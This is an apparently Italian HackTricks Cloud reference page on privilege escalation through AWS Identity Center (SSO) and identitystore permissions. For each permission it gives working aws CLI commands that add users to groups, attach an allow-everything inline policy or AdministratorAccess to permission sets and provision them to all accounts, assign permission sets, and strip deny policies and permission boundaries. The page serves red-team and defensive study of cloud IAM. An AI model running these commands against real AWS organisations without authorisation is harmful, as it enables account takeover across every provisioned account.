AWS - SSO & identitystore Privesc
Reading time: 6 minutes
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
AWS Identity Center / AWS SSO
Per maggiori informazioni su AWS Identity Center / AWS SSO consulta:
AWS - IAM, Identity Center & SSO Enum
warning
Nota che, per default, solo gli utenti con permessi del Management Account potranno accedere e controllare l'IAM Identity Center.
Gli utenti di altri account possono farlo solo se l'account è un Delegated Administrator.
Consulta la documentazione per maggiori informazioni.
Reset Password
Un modo semplice per elevare i privilegi in casi come questo sarebbe avere un permesso che consente di resettare le password degli utenti. Sfortunatamente è possibile soltanto inviare un'email all'utente per reimpostare la sua password, quindi avresti bisogno di accesso alla email dell'utente.
identitystore:CreateGroupMembership
Con questo permesso è possibile inserire un utente in un gruppo in modo che erediti tutti i permessi del gruppo.
aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>
sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet
Un attacker con questa permission potrebbe concedere permessi aggiuntivi a un Permission Set assegnato a un utente sotto il suo controllo.
# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml
# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet
Un attacker con questo permesso può concedere permessi aggiuntivi a un Permission Set assegnato a un utente sotto il suo controllo.
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet
Un attacker con questa permission potrebbe concedere permessi aggiuntivi a un Permission Set che è assegnato a un user sotto il suo controllo.
warning
Per abusare di queste permissions in questo caso devi conoscere il nome di una customer managed policy che sia presente in TUTTI gli accounts che verranno interessati.
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:CreateAccountAssignment
Un attaccante con questa autorizzazione potrebbe assegnare un Permission Set a un utente sotto il suo controllo a un account.
aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>
sso:GetRoleCredentials
Restituisce le credenziali STS a breve termine per un dato nome del ruolo assegnato all'utente.
aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>
Tuttavia, è necessario un access token che non sono sicuro di come ottenere (TODO).
sso:DetachManagedPolicyFromPermissionSet
Un attacker con questo permesso può rimuovere l'associazione tra una managed policy di AWS e il permission set specificato. È possibile concedere ulteriori privilegi tramite la rimozione (detach) di una managed policy (deny policy).
aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>
sso:DetachCustomerManagedPolicyReferenceFromPermissionSet
Un attacker con questo permesso può rimuovere l'associazione tra una Customer managed policy e il permission set specificato. È possibile ottenere privilegi aggiuntivi tramite detaching a managed policy (deny policy).
aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
sso:DeleteInlinePolicyFromPermissionSet
Un attaccante con questa permission può rimuovere le autorizzazioni di una inline policy associata al permission set. È possibile ottenere maggiori privilegi rimuovendo (detaching) una inline policy (deny policy).
aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
sso:DeletePermissionBoundaryFromPermissionSet
Un attacker in possesso di questa permission può rimuovere il Permission Boundary dal permission set. È possibile concedere più privilegi rimuovendo le restrizioni sul Permission Set imposte dal Permission Boundary.
aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
 HackTricks Cloud
HackTricks Cloud